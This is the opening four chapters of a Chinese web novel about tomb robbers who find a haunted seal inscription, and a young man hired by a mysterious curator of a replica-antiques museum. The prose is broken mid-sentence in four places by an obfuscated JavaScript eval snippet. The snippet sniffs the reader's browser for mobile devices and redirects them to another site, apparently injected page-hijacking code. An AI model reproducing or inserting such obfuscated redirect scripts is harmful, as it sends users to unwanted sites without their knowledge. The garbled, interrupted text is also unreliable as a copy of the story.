《受命于天》 1. 楔子 “从前有座山,山里有座墓,墓里有只大老虎……” “哎哎哎,不对啊,墓里不是该有只大粽子吗?这里哪里的童谣,怎么连老虎都出来了。” “呸,赵三儿,你他妈的少在这里乌鸦嘴,咱在这儿干嘛呢,你大粽子大粽子的,晦不晦气,哥宁可遇上大老虎……” “喂喂狗子你也闭嘴,大老虎也不行啊,拿什么跟它干,洛阳铲吗?还是你兜里的水果刀?” 夜深,人不静,有人在哼童谣,有人在挑刺儿,有人在……盗墓! 好吧,其实这都是一伙儿的,差不多七八个人,嘴上不停,手上也没停,墓道已经挖通,那哼童谣的是掌眼之人,手里拿着个罗盘对着墓道口左探右探,探了一会儿,便将罗盘收起来,一摆手,道:“可以进去了。” 于是一下子就进去了五六个,领头的就是先前挑刺儿的赵三儿和狗子,这俩货干这行十几年,什么墓没见过,一摸一个准儿,后头跟着几个苦力,就只有两个人还在外头没进去,其中一个就是掌眼的,另一个则是包工头。 掌眼的管探墓,包工头管出钱和出货,下墓这种事,自然轮不到他们去出苦力。两个人蹲在墓道口,各点了一支烟,在那里吞云吐雾。 包工头看了看周围,就像掌眼的唱的童谣那样,这里是座山,不深也不高,山里头确实找到座墓,没碑也没任何记载,掌眼的就是凭着这首流传在山下村子里的童谣找到了这座墓,但是包工头还是觉得不靠谱。 古墓多了去,但不是每座古墓都有被盗的价值,他出钱,可不想只刨出个三瓜两枣的,没点儿好货,他都不好意思见人,好赖这些年他在这行,也是叫得出名号的,走在外头,也人尊一声包哥。 所以一根烟抽到底,包工头沉不住,问掌眼的:“你确定这坑子能刨出油水来?” 掌眼的嘴角一撇,道:“你不信我,来我找干什么?” 包工头连忙又递过去支烟,陪笑道:“老弟,不是我不信你,而是你探的这山这地儿,实在是不像人杰地灵的,哪能出什么大人物,咱哥儿俩合作不是一回两回了,你给哥交个底儿,这坑子……到底有赚头没?” 掌眼的冷冷一哼,傲气道:“你也说了,咱哥儿俩合作不是一回两回,我什么时候坑过你。” 这倒也是,包工头想了想,又点了根烟,不吭声了。 掌眼的这才弹了弹烟灰,语意深长道:“虽然老话说深山出野贤,不过包哥啊,你得明白,豪杰多出于微末,还有□□说,山不在高,有仙则灵,水不在深,有龙则鸣,这座山呐……你瞧着不起眼,嘿嘿,藏得深的很呢……包哥你就瞧好儿吧。” 包工头瞧没瞧着好儿暂且不提,下了墓道里的几个人,倒是真瞧着好儿了。 那墓道越往里走就越宽,清一色的青石板砌成,每隔几米,就能从墙上撬出颗珠子来,幽幽发光。 “卧槽,真夜明珠,这墓奢侈啊,从外头可一点儿也看不出来,还以为就是个寻常小墓。”赵三儿啧啧称奇。 狗子白了他一眼,道:“这坑子有点不对劲。” 进墓道门的时候,他还判断这条墓道顶了天就只有几米长,但这会儿都走了有几十米了,还没见尽头。 “只要别跳出个大粽子来,就没啥不对的。”赵三儿乐呵呵的,走上几步,又撬下颗夜明珠。 “呸呸呸,你能说点吉利话不?” 狗子紧张兮兮的四下环顾,帽子上的电筒晃来晃去,突然照出一个人影来,狗子吓了一跳,电筒对准了再看,原来是幅壁画,可惜画面已经模糊不清,只隐约看得出画的是个人。 “妈的,吓我一跳。”狗子摸了摸额头,抹出一门子的汗。 赵三儿哈哈大笑,道:“看你胆子小的,唉,前面没路了,快过来瞧瞧,是不是到墓室了。” 狗子几步上前,果然看到一道石门堵住了前路,他上前摸了摸,道:“应该是,上炸药。” 两个人往后退开,苦力上前,在石门上凿出几个坑眼来,小心的往里头灌炸药粉,再埋好引线,不一会儿,石门就被炸成了碎石块,苦力们哼哼哧哧的搬开石块,还没搬完,狗子已经仗着身矮体瘦,先从搬出的洞口钻了进去,赵三儿人高马大的,暂时还过不来,只急得在外面直哟喝。 “狗子,不带这样的,咱俩一起摸啊……” 他这里才叫唤了两声,狗子就又钻了回来,面无表情道:“妈的,白干了,里面什么都没有。” 赵三儿一愣:“什么都没有?” 这可稀罕了,墓道里还嵌着夜明珠呢,虽然这玩意儿放在现代其实就是不值钱的萤石,但在古代,肯定是稀罕物。再看看墓道铺的青石,直到现在都是光滑平直,证明这墓等级绝对低不了,怎么墓室里什么都没有? 狗子懒得理他,道:“不信你自己看去。” 赵三儿还真不信,上前和苦力一起搬石块,没一会儿终于搬出个他能过去的洞,立刻就挤了进去,拿强光灯四下一照,墓室里果然空空如也,别说什么陪葬物了,连棺椁都没有,就只有光滑的青石彻成的墓室,倒是墙面上都刻着壁画,可惜和外面的一样,都模糊不清了。 “怪了……”赵三儿摸着后脑勺,回头对狗子道,“墓室里头空的也就算了,怎么这里的青石都这么光滑?” 别说积水阴湿什么的,连青苔都没长一片,这么干燥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729821|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的环境,壁画又是怎么糊的,看着既不是侵蚀,也不是风化,倒像是……赵三儿猛的将强光灯打在壁画上,两眼瞪圆。 “狗子,你过来看看,这壁画是不是被人刮花的?妈的,咱们来迟了,这墓早被人摸空了。” 狗子又钻了过来,一看,再一摸,摸到一手青石粉,果然是被刮花的,他顿时脸也绿了。比白干更糟心的是,先行者们连块棺材板都没给他们留下。 赵三儿不死心的又四下查看,强光灯突然扫到两行字,居然没被刮花,赶紧叫狗子来看。 “是篆体。” 狗子眯着眼,干这一行久了,认古字体比认简体字还多,这两行字……准确的说,那不是两行字,而是一个印章,上面刻的是篆体的“受命于天,既寿永昌”八个字。 两个盗墓贼愣愣的对望,虽然不是什么文化人,可这八个字还真是听过,传说中的传国玉玺啊,秦始皇的那块,问题是,这个印章,怎么会刻在这么一个名不经传的墓里? “卧槽,这该不会是座秦国墓吧?” “不可能,形制不对。” “对哦……为什么其他的壁画都被刮花了,这几个字还留着?” 赵三儿手贱,就在那个印章上摸了摸,还按了按。 “拿开你的手!” “就摸一下,又拿不走,狗子你凶什么?”赵三儿不高兴了。 “不是我说的。”狗子退开两步,帽子上的电筒又开始四下乱照。 赵三儿一愣,刚才那个声音……好像真的不是狗子,卧槽,这墓室里还有别人? “谁?谁在说话?出来!” 赵三儿从兜里摸出一把折叠小刀,把刀尖弹出来,强光灯四下探照,一脸凶狠之色。 “赵、赵、赵三儿……后、后面……” 狗子牙齿打颤,两只眼睛几乎凸出眼睛,惊骇得仿佛见鬼的表情,让赵三儿也惊恐起来。 后面?后面有什么?他的后面,就是墙啊。赵三儿猛的回对,将强光灯对准身后照过去。 一个人影在轻晃! 不,不是人影,还是壁画,被刮花的一幅壁画在晃动,虽然模糊不清,但隐约看着是个人形。 它它它……真的在动!连带着印章也一起在动,随着晃动,人影也越来越清晰。 束发,戴冠,长袍,高履,肩绕盘龙,腰……腰坠印玺,那印章竟然是悬挂在这个人影腰间的一枚印玺上的字。 “嘶……嘶……” 赵三儿和狗子惊恐过度,喉咙里发出了抽气的嘶声,两个人全身都在发抖,可是迈不开腿,喊不出声。 大、大、大粽子……不,这是……鬼啊! 2. 第 2 章 甘文失业了,当然,很快他又就业了,失业和就业之间,就隔了一个酒醉灯迷的夜晚,连宿醉的头疼都没来得体会一下,他就得把自己打理得干净整齐的去面试新的岗位。 这全赖他有一个关系非常好的发小,来事儿。来事儿的本名当然不是这个,只不过他姓来,做人又特别会来事儿,因此打从小学起,就人送外号来事儿,结果这人还特喜欢这外号,后来但凡是新认识的人,他都自我介绍“来事儿”,至于他的本名,除了生他养他的爸妈,大概就只有身份证记得最清楚。 这么会来事儿的来事儿,毕业后就入了娱乐圈,可惜他天生条件不行,五官比不起眼还不起眼,当个群众演员都泯然于群众中,曲线救国想参加个声乐秀从歌手出道吧,那一把嗓子比五音不全还惨烈,一开声整个儿就是杀猪现场。 总之,来事儿再会来事儿,老天爷不赏他这碗饭吃,他也只有……再曲个线,走不到幕前,咱干幕后,凭着那股子来事儿的精神,终于,让他在服化道这一领域里开辟了新天地,主要是搞道具,这小子会来事儿,门路多,不管什么剧组,只要找上他,道具这一块儿就不用愁了。 甘文的新工作,就是来事儿给介绍的,具体是什么工作来事儿还没来得及说,只让甘文今天下午三点半到虹桥影视城来找他,直接去面试。 甘文特意早了半个小时到影视城,正好剧组一个场景拍摄完,来事儿正指挥着人收拾道具,都是些枪啊刀还有盔甲什么的,这是个古装剧剧组,刚才拍摄的是战争场面,光是群众演员就有上百人,正排着队一个个上交那些塑料制成的刀、枪道具,还有盔甲。 甘文不是剧组的人,当然过不去,只好远远看着,倒是来事儿眼观八方,耳听六路的,隔那么远居然一眼就看到甘文了,立刻跑过来,不知道从哪里又摸出张剧组的胸牌,给挂到甘文的脖子上。 “你来得正好,快过来帮我,这么多道具得搬,多个人出苦力还快点。” 甘文指指胸牌,道:“哪来的?”他不信来事儿能来事儿到事先就算准让他来当苦力。 “道具啊,我干啥的啊。”来事儿狡猾的笑。 甘文:“……” 合着这张胸牌是假的啊,果然是道具师,就别指望他手上能拿出什么真货来。 甘文才这样想着,手里就被来事儿塞上一把大刀,那分量可不轻,甘文差点儿没接住砸了脚,好容易捧住了,一看,这可不是塑料道具刀,货真价实一把钢刀,刀身雪亮,沉沉压手。 “咦,你还给整了把真道具?” 这话问的就不对,道具就是道具,哪有真的,这就是把真刀。 “这把刀有镜头特写的,哪能整把塑料的,高清镜头一照就漏底了,你先帮我拿着,一会儿面试的时候,正好给还回去。” 来事儿忙着清点道具,话说得有点含糊,甘文就没听明白,面试的时候还刀?这是怎么个说法。 正想抓着来事儿细问,这时候一个将军打扮的人走过,来事儿赶紧上前帮着他把身上的盔甲脱下来。甘文不好打搅他做正事,就抱着刀站在一边看,那盔甲一碰就哗啦作响,发出的都是金属音,明显也是真货色,不是塑料道具,怪不得来事儿小心翼翼的。那个将军演员倒是一脸的英武之气,就是皮肤黑了点,甘文看了两眼,觉得有点面熟,却又想不起来在哪里见过,心里估摸着这位大概是经常演电视剧但又没什么名气,所以屏幕上混了个脸儿熟,却很难叫出名字。 来事儿对那人很热情,一口一个勇哥的叫着,等把盔甲解下来搁一个箱子里放好,他还把甘文叫了过来,道:“阿文,这是勇哥,以后你们会常见面的,先打个招呼。” “勇哥,你好,我是甘文。” 看在发小的面儿上,甘文很给面子的主动打了招呼,心里头却更疑惑了,来事儿到底给他介绍的什么工作,居然能跟勇哥常见面,难道也想拉他入娱乐圈? 别说,就长相而言,甘文还真够得上吃这碗饭的标准,他打小儿皮肤就生得白,大暑天里一天到晚满大街跑都晒不黑,五官也生得精致,不是那种娘娘腔的精致,而是雕塑般的精致,就是脸形不符合时下流行的锥子脸,而是很阳刚正气的国字脸,平时看着妥妥的一帅小伙子,就是上了镜头显脸大。 不过这些不是关键,关键是甘文的性格和来事儿正相反,偏内向,不喜欢镜头前的生活,对演戏也没有兴趣,所以当初来事儿想拉着他一起扎进这圈子的时候,甘文死活没肯,宁可老老实实的跑人才市场,一份份的投简历,好不容易才找到份工作,结果没干上一年又没了。 他还真有点担心来事儿不死心又把他往这圈子里拖。 “秦士勇。”将军伸出手,跟甘文握了握,“幸会。” 这话文绉绉的,跟将军粗犷的外形完全不符,甘文顿时对秦士勇的印象有了改观,也文绉绉的回了一句:“久仰。” 来事儿把装盔甲的箱子推过来,道:“我这儿还要忙一阵,勇哥没事儿就带阿文去面试吧,正好把这两件‘道具’还回去,顺便结个账,阿文你替我签字啊。”一边说还一边递过来钱包。 甘文莫名所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729822|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不过他信得过来事儿,也就没多问,接过钱包,对秦士勇点点头,道:“那就麻烦勇哥了。” 秦士勇也不是擅谈的人,默默弯腰抱起装盔甲的箱子,扭头就走。甘文提着刀跟在后面,没一会儿,就跟着走出了影视城的范围,沿着马路走了一小段路,拐了个弯儿进入一条小巷,走到尽头,秦士勇就停了下来。 “到了。” 因为靠近影视城,周围的建筑都有些古色古香的味道,这巷子两边的店铺不少,都是这个味儿,但巷子尽头的这一栋建筑,尤其的仿古,飞檐拱顶,朱墙碧瓦,柱盘游龙,双狮镇门,冷不丁一看,还挺有气势。 但是一看门上挂的招牌,却是让人哑然。 毕氏高仿古董展览馆。 招牌下面还有一行小字:承接租赁业务。 甘文看看那行小字,再看看手里的刀,豁然开朗,感情盔甲和刀都是从这里租借的啊,都是高仿货。哦,还有面试,这就是来事儿给他介绍的新工作地点。 甘文有点无奈的跟在秦时勇后面走进了这家展览馆。他有点搞不明白,这家老板是不是有点脑抽,搞展览的,谁会专门去收集高仿古董啊,不是真的谁又有兴趣来参观,也就人家拍剧的,会过来租点高仿当道具了吧。 所以,里面冷冷清清的样子,还真是没出甘文的意料之外。让他吃惊的是,这里面不但冷清,而且根本连一个人都没有,大门就这样敞着,也不怕遭贼。 “把刀放在这里就行。” 馆里面有个架子,看大小就是架刀的,旁边还有立架,不用说,是按放盔甲的。甘文把刀放好,秦士勇也已经把盔甲摆上了立架,然后拍拍手,一伸。 “租金一共两千,现付。” 甘文张口结舌:“啊?” 秦士勇已经熟练的从搁在角落里的一张办公桌上找出收据,刷刷刷一写,又从抽屉里翻出财务章,用力一盖。 甘文愣愣的摸出两千钱递过去,接过收据,然后才后知后觉的问道:“勇哥,你就是这里的老板?” 刚才他还腹诽人脑子抽筋。 秦士勇咧嘴一笑,道:“我也是个打工的,在这里兼个职,值夜班。” “又要拍戏,又要兼职,那不是很辛苦?”甘文脱口道。 秦士勇哈哈笑起来,特别爽朗。 “这里白天都没几个人进来,晚上更是鬼影子都没有,兼职就是睡大觉,有什么辛苦的。” 甘文嘴角一抽,这么清闲,还要招人?这家老板果然是脑抽,钱多烧手啊,每天要亏多少? 3. 第 3 章 “你随便逛逛,馆长还要一会儿才能来,我回剧组了。” 秦士勇明显是个忙人,剧组里大概还有事,他随口交待了一声,就匆忙往外走,直看得甘文目瞪口呆。 这就把他扔下了? 好吧,现实就是这么残酷,这座展览馆里,就剩下他一个人,甘文也只好随便逛逛,心里头已经对这份新工作不抱任何期待了,他实在看不出这里有请人的必要,关键是,他一个学平面设计的,也想不出他在这里能干什么,做广告标语吗?这要是真古董展览,他还能帮着设计设计,一水儿的高仿货,谁来看啊,做广告他都想不出噱头在哪里。 不好意思,他说是一水儿的高仿古董还是夸张了,这座展览馆里,陈列柜不少,但大半都空着,连个半水儿都算不上,就是吸引到人来参观,也没什么看头啊。 甘文越逛心里就越囧,整个馆逛下来,就刚还回来的那件盔甲和那把刀比较有看头,盔甲金灿灿的,标准的连环锁子甲,秦士勇穿在身上的时候,一身英雄气概,很有几分怒张飞的派头,一看就是猛将一员,摆几个造型,不用什么演技就够撑出几个场面了。至于那把刀,典型的唐刀,环柄曲身,刀如雪花,拿在手里拉开架势,装逼效果十足,真要有人来参观,让他们套上盔甲拿上大刀,拍照留念倒是算个创收项目。 除此之外,就只有一只陶罐给甘文留下了深刻印象。那是一只仿元青花的梅瓶,之所以印象深刻,不是因为梅瓶上的花纹和那只名噪一时曾经拍出上亿美金的鬼谷子下山元青花一模一样,而是因为他闻到了从梅瓶里传出来的浓浓酒香。 这是展览高仿古董呢还是卖酒呢? 甘文囧囧有神,高仿就算了,还往里头灌酒,难道还打算忽悠人,这酒是地下埋了几百年的陈年佳酿吗? 这家老板……哦不,应该尊称馆长,大概真是个脑抽吧。 要不是来事儿是他的发小,这次面试又是来事儿强力推荐的,得顾着这份情面,甘文都想抬脚就走了,真不靠谱儿。 就在他腹诽了一遍又一遍的时候,门外又进来一个人,手里撑着一把黑伞,甘文看到他的时候,他正侧着身体收伞,只露出一张侧脸,如刀雕般的脸部线条,有种莫名的威严。 但甘文没注意到这个人的长相,他看着那把伞,然后目光绕过伞,往外看了看,天空晴朗,阳光斜照在巷子的地面上。 大晴天的撑伞,能干出这么脑抽的事情,不用问,这个人一定是馆长了。 他站直了身体,虽然心里已经对这次面试不抱任何期待,但甘文还是决定要客气一点,就当是给来事儿撑脸了。 就在他决定要主动上前打招呼时,那人已经走过来,上下看了甘文两眼,道:“甘文?” 甘文被他看得身体一僵,仿佛有种被人拿刀子将身体从里到外给剖开检查了一遍的错觉,背心上不自觉的渗出了一层细细冷汗。 “是,我是甘文,馆长您好!” “到我办公室谈。” 馆长神色淡淡的,绕过甘文,往里走去。经过那只元青花陈列台的时候,斜过眼淡淡一瞥。 甘文没注意到馆长的动作,只是愣了一下,连忙跟上去。 这座展览馆有两层,一楼是展览馆,二楼自然就是馆长办公所在,嗯,整层都是,奢侈得一逼,跟外面古色古香的建筑形制完全不同,二楼是全现代化装修,简约大气的风格,只有窗户因为要保持与外部一致,做了两层,外层是古色古香的雕花窗格,内层则跟装修风格一致。 黑色的地面,白色的办公桌椅沙发,连墙上挂的装饰品,也是黑白两色为主调,有占了一整面墙的投影电视,有一看就价值不菲的高档音响,一角还摆着架不知道是不是装逼用的钢琴,还有吧台酒柜和冰箱,工作休闲娱乐,都齐全了。 馆长将伞挂在门后,走到吧台边,然后又看过来。 “喝什么?” 甘文觉得自己这会儿脸上的表情一定很别扭,他没经历过这样的面试,有点不知道怎么应对,尴尬了一会儿才道:“随意就好。” 他本来想拒绝,但不知道为什么,馆长的声音有种不容人置疑的味道,仿佛不顺着他的话去做,就罪大恶极。 馆长点了一下头,转身倒了两杯红酒,捏着杯脚走过来,递给甘文一杯,然后随意的往沙发上一坐,对甘文抬了抬下巴。 “坐。” 声音和眼神的双重暴击,甘文拒绝不了,只好老老实实在馆长对面坐下。 “我这里事情很多,缺人缺得厉害……”馆长品尝了一口红酒,才开始说明情况。 甘文:“……”骗鬼呢吧。 “来事儿介绍的你,他这个人满嘴跑火车,把你吹得天上地下的,我不管你有多少能耐,总之,先从助理干起,试用期三个月,你能撑过三个月就转正,试用期月薪八千,转正后翻倍,五险一金年底奖金都有,合同在办公桌上,自己签。” 甘文手一抖,差点打翻手里的红酒。在这个平均房价还没超过两万的城市,这个月薪已经算是相当不错了,搁在跟他同期毕业的同学里头,都够吹上一把。 可怎么还是觉得不靠谱呢? 甘文小心翼翼的措词:“馆长,我……” “毕时鹤。”馆长微微抬眼,打断他。 “呃……毕馆长……”甘文被他一看,背心又开始渗汗,“那个……以后请多多指教。” 妈蛋,说不出拒绝的话啊,这个人的眼神怎么这么厉害,被他看着,根本就就就……压力山大,不敢拒绝啊! 甘文拿起合同,一边签一边心中默默流泪,这是他的报应,他不该腹诽馆长是脑抽,现在轮到他脑抽了。 签字几秒钟,脑抽无药救,放下笔,甘文有种前途黯淡无光的预感,跟了一个脑抽的老板,他以后会不会也变成脑抽一党? 这么一想,他就想去揍来事儿一顿,狗屁的发小,被你坑惨了。 性格内向的人,通常内心都比较丰富,甘文就是个中翘楚,在他的内心里的,这么一会儿工夫,来事儿已经被他翻来覆去揍了百八十遍。 “明天正式入职,早九晚五,别迟到。”毕馆长的声音又淡淡传来。 “是,那我先回去了。” 甘文立刻溜之大吉,下了楼梯才一拍脑袋,忘了问了,他这个助理,都要干些什么?算了,反正试用期三个月,先混着吧。 实在没勇气再回到二楼去问馆长,甘文挠挠后脑勺,他就只记得馆长那双令人压力山大的眼,还有无法拒绝的声音,至于脸长啥样儿根本没记住,在那双眼睛的注视下,他连一秒钟对视的勇气都没有,根本就没看清馆长到底长啥样儿。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729823|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“哟,你就是今天来面试的甘……嗯,甘什么来着?” 甘文回过神,才看到展览馆里多了个人,正笑嘻嘻的站在他跟前,衣服皱巴巴的,头发乱糟糟的,满脸胡子渣,一身沧桑感,再加上一身的酒气,乍看还以为是个落魄的青年文艺家,啊不,是中老年文艺家,看他这张脸说四十还老,说五十不过分,说六十都有人信,但是胸前别着张工作牌,上面写着“毕氏展馆管理员”七个字。 这就是……以后的同事了吧! 甘文对这位同事的形象颇为无语,半晌才伸出手,道:“甘文。” 中老年艺术家哈哈一笑,跟他握了握手,道:“我叫袁枚,以后你叫我老袁,我就叫你小甘了,欢迎欢迎。” 甘文这回连额头都渗汗了,这位老袁太热情,一开口浓郁的酒气扑面而来,熏得甘文都开始头重脚轻了。他想他知道为什么来的时候展览馆里一个人也没有了,这位管理员先生是趁着馆长不在,偷喝酒去了吧。 像这样的员工,馆长为什么还没有解雇?除了馆长脑抽之外,还有别的解释吗? “小甘啊,先别走,再过会儿就闭馆了,正好我跟馆长说说,一起去鹿鸣轩给你搞个入职欢迎仪式,咱们还有位美女同事,是展馆解说员,叫陶歌,你等会儿,我先给她打个电话……” “不不不、不用……我明天才入职,今天不用了……” 甘文一脑门子的汗,赶紧拉住袁枚,他才不要什么入职欢迎仪式,尤其还要跟馆长一起,压力太大。 袁枚放下手机,道:“也是,今天太仓促,行,那就明天,我给你整点好酒,保证你从来没喝到过,哈哈哈哈……” 这笑声太魔性,甘文又开始头重脚轻,脑子发晕,好容易终于摆脱袁枚,出了展览馆找到来事儿,脑子里似乎还能听到袁枚的大笑声,鼻端总盘绕着挥之不去的酒味儿。 来事儿差不多也忙完了,跟剧组交待了一声,就拉着甘文离开,一边走一边凑到甘文身边嗅来嗅去,被甘文没好气的一巴掌拍开。 “你见到老袁了,跟他喝酒了?啧啧,我跟你说,老袁藏的酒啊,真是一绝,外头都买不到,我一有闲儿,就跑去蹭他的酒……” 这家伙,一边说一边就差没流口水了,简直没眼看。 甘文一巴掌拍在他的后脑勺上,道:“来事儿,你给我找的什么工作,我越想越觉得不靠谱儿,那位毕馆长你了解吗?是不是这里有点问题?” 他指指脑子,就怕这回是被坑惨了。合同都签了,现在后悔是不是有点晚?关键是,他都没勇气回去说不干。 “哈……”来事儿大笑,“阿文,你脑补太多了吧,打小儿就是这臭毛病,想太多,自找事儿。我跟你说,我来事儿这双眼睛,阅人无数,看人从来不会错,你别看那间展览馆不靠谱,整天冷冷清清就靠出租高仿古董当道具挣两个钱,但是那位毕馆长,绝对不是个寻常人,你跟着他好好干,展览馆就是个跳板,总有你出人头地的一天。” 甘文白了他一眼,那是,寻常人能干脑抽的事儿吗?瞧来事儿这副自信满满的样子,他冷不丁的问:“你看清毕馆长的样子了吗?” 来事儿一噎:“……” 甘文顿时多了几分信心,来事儿这脾气,天不怕地不怕鬼神不怕,连他都不敢跟毕馆长对视,果然不是寻常人。 4. 第 4 章 虽然不知道自己将要干的工作内容,但甘文还是连夜突击恶补了一下古董知识,主要是关于高仿品的,不管这份工作靠不靠谱,他骨子里是个认真的人,既然签了合同,至少要认真对待。 俗话说乱世黄金盛世古董,古董收藏从八十年代兴起,至现在已经快四十年了,这里头发生的事情,绝对不是甘文一夜恶补就能补得完的,但托福于媒体对于拍出天价的古董的大肆宣传,还有电视里各种各样的收藏鉴宝节目,如今就是个普通人也知道这一行水又深又浑,真古董有不少,假古董更多,尤其是那些高仿古董,很多专家都会看走眼,何况寻常的爱好者。 所以临睡前,甘文忍不住又脑补了一通,以毕馆长的脑抽程度来看,这位钱多烧手的壕该不会是在这一行被人坑惨了之后,干脆就把自己受骗的罪证摆出来供人参观,顺便还租借出去捞回点儿本钱? 哦,要是这样的话,毕馆长的人品值还是挺高的,至少他没想拿着高仿品出去继续骗人,跟着这样的老板干,心里也踏实,好歹不用担心会被卖了还替他数钱。 第二天,甘文又把自己打理得干净整齐,早了半个小时出门,他租的房子离展览馆还是有点距离的,再碰上早高峰,路上耽搁了不少时间,抵达展览馆的时候,九点缺五分,刚刚好。 有个身材高挑、头发高高盘在脑后用一只蓝色蝴蝶夹固定的女子正在开门,甘文在她身后站定,心里琢磨着,这位大概就是袁枚昨天说的那位美女解说员陶歌了吧。 等到女子转过身时,甘文主动上前打招呼。 “你好,我是甘文,今天正式入职。” 女子抬头,露出一张相当清丽秀美的面庞,典型的鹅蛋脸,双眼皮,皮肤白皙,气质温婉,尤其是身材,该瘦瘦,该凸凸,毫不含糊。袁枚还真没有说错,是位美女,虽然没有让人眼前一亮的惊艳,却看得人很舒服,绝对属于越看越耐看的那一型美女。 “陶歌。” 女子客气的与甘文握了握手,然后弯眉微笑。 “昨天勇哥跟我提起过你。” 甘文一呆,秦士勇不是值夜班吗?怎么跟陶歌遇上的? “进来吧,你的工作牌和办公室已经准备好。”陶歌将展览馆那十分壮观的八扇大门通通打开,早晨的阳光斜射进来,照得馆内明晃晃的。 甘文一眼就看到了元青花梅瓶的陈列柜,这回不是被酒香吸引的,而是因为那柜台里面空了。 “这里头的瓶子呢?”才隔了一晚上,难道租借出去了? “哦,出去挣钱了。”陶歌随口道,然后手一指,“你的办公室就在这里,看看有什么缺的就跟我说。” 甘文顺着她手指的方向一看,顿时哑然。所谓的办公室,就是在展馆的角落里用透明玻璃单独隔出一小块地方,摆了桌椅,上头还有台电脑,其他的什么都没有。这就算了,关键是那桌椅和陈列台是一个颜色,他要是往里面一坐,关上玻璃门,搞不好别人还当他也是展品——仿真人偶一只,帅气俊美型的。 “谢谢陶姐,辛苦了。” 从齿缝里挤出这一句话,甘文又开始觉得前途黯淡了。 陶歌完全没有意识到哪里不对,微笑的收下这份谢意,道:“不客气,也没什么辛苦的,我在这里是兼职,正职是市歌舞团的,平时都不在,今天还有个舞要排,这是我的名片,上面有手机号码,有事你短信我,那我就先走了。” 这女子看着气质温婉,行动上却是如惊风,话音没落,就只剩下个背影从大门边闪出去了。 “……”甘文捏着陶歌留下的名片,一脸呆滞。 看看时间,九点整,好嘛,这地方就又只剩下他一个人了。 馆长是个脑抽的,管理员是个翘班喝酒的,解说员和值夜都是兼职的,他这份新工作,前途何在? 不是,关键是,他的工作内容是什么,有没有人给他交待一声啊? 好吧,下一刻人来了。 还是撑着那把黑伞,将阳光挡在了身外,但身处阴影下的毕馆长,却比阳光更瞩目。 甘文只看了一眼,就感觉背心又开始渗细毛汗,昨天还只觉得那双眼不可直视,今天干脆就连整个人都不敢直视了。 好吧,不看人,他看伞。 昨天看那把黑伞时,伞面已经收了起来,今天才发现,原来伞面上竟然有字,端端正正八个篆书:受命于天,既寿永昌。 甘文:“……” 他要不是做平面设计收集了很多字体素材,都认不出这八个字。真是好大的口气,果然和脑抽很匹配,除了那位开始创了中华一统的秦帝国的始皇帝,谁敢说老子是天,昌盛万年,虽然那位祖龙大人也没能又寿又昌。 总之说白了,这就是个口号,喊出来装逼,没见哪个皇帝真的能长生不死的。大咧咧的把这八个字装饰在伞面上,还撑着这把伞到处走,毕馆长也是够心大的,反正换了甘文,他死也不丢这个脸。 就在新上任的助理先生忍不住又开始腹诽自己的衣食父母的时候,毕馆长已经走到了他跟前,对着他上上下下一打量,道:“以后不用穿得这么正式。” 甘文一身的西装笔挺,倒衬得馆长身上的休闲服很不正式。 “知道了。” 甘文老实点头,人不敢看,衣服还是敢盯两眼的,毕馆长身上的休闲服看不出牌子,无非两种可能,一种是高级定制的无牌货,一种地摊出品的无牌货,从钱多烧手这个角度来看,显然不可能是后者,从做工剪裁来看,就更不可能是后者。 看仔细了,还看出花样来,这身休 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16729824|189611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闲服上,居然还有暗绣纹饰,颜色和面料一致,所以不靠近细看很难发现,那是一条盘龙,龙身盘绕腰间一圈,龙头直接搁在了肩膀的部位,怒目圆睁,很是威武。 极尽低调的华美感,甘文有点被震慑住了,他觉得有必要重新估算一下馆长大人钱多烧手的程度,以此判断馆长脑抽的水平和他的职业前途究竟能有多黯淡。 有种熬不过三个月试用期的预感,甘文心中小小的沮丧了一下,话说他还不知道他的工作内容。看到毕馆长已经往二楼办公室去了,他连忙小跑步追上去。 “毕馆长,不知道今天的工作安排是哪些?” 他得振作,不能什么事情都没干就先打退堂鼓,试用期都混不下来,怎么有脸去见来事儿。 “你的主要工作,就是替我收集展品,你也看到了,展览馆里大部分陈列柜还空着……” 